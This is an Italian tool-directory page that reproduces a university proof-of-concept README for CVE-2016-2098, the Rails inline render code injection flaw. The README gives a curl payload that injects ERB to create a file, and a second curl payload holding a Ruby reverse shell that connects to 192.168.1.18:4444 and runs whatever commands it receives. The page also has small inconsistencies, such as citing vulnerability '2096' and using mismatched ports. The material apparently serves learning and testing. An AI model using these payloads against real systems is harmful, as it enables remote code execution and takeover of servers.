Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
rails-PoC-CVE-2016-2098 — Prova di concetto CVE-2016-2098 | Kitploit
Strumenti/GitHubGitHub/alejandro-marting/rails-poc-cve-2016-2098
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubalejandro-marting/rails-poc-cve-2016-2098

rails-PoC-CVE-2016-2098

Prova di concetto CVE-2016-2098

Vedi Repository
119 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Una prova di concetto della vulnerabilità: CVE-2016-2098

Progetto universitario creato da @alejandro-marting dove possiamo verificare la vulnerabilità 2096

Utilizzando:

  • rails 4.2.5.1
  • la view contiene un codice vulnerabile app/views/poc/render1.html.erb

![] (https://github.com/Alejandro-MartinG/rails-PoC-CVE-2016-2098/blob/master/app/assets/images/Captura%20de%20pantalla%20de%202017-01-15%2009:50:23.png)

Esecuzione:

Per prima cosa dobbiamo avviare il server Rails con il seguente comando:

$ rvmsudo rails server -b 0.0.0.0 -p 80

Ora possiamo causare l'esecuzione remota di codice con il seguente comando:

$ curl 'localhost:3000/poc/render1?template\[inline\]=<%25%3DFileUtils.touch+"rooted"%25>'

(Dovrebbe essere generato un file chiamato rooted)

Se vuoi provare una reverse shell con iniezione di codice Ruby, puoi eseguire il comando seguente:

root@kitploit:~
$ curl -H "Content-type: application/json" -X GET -d ' {"template" : {
"inline" : "<%= require \'socket\';exit if
fork;c=TCPSocket.new(\"192.168.1.18\",\"4444\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print
io.read}end %>"}}'  http://localhost:3000/poc/render1

Se hai domande, contattami per favore!

Scarica lo strumento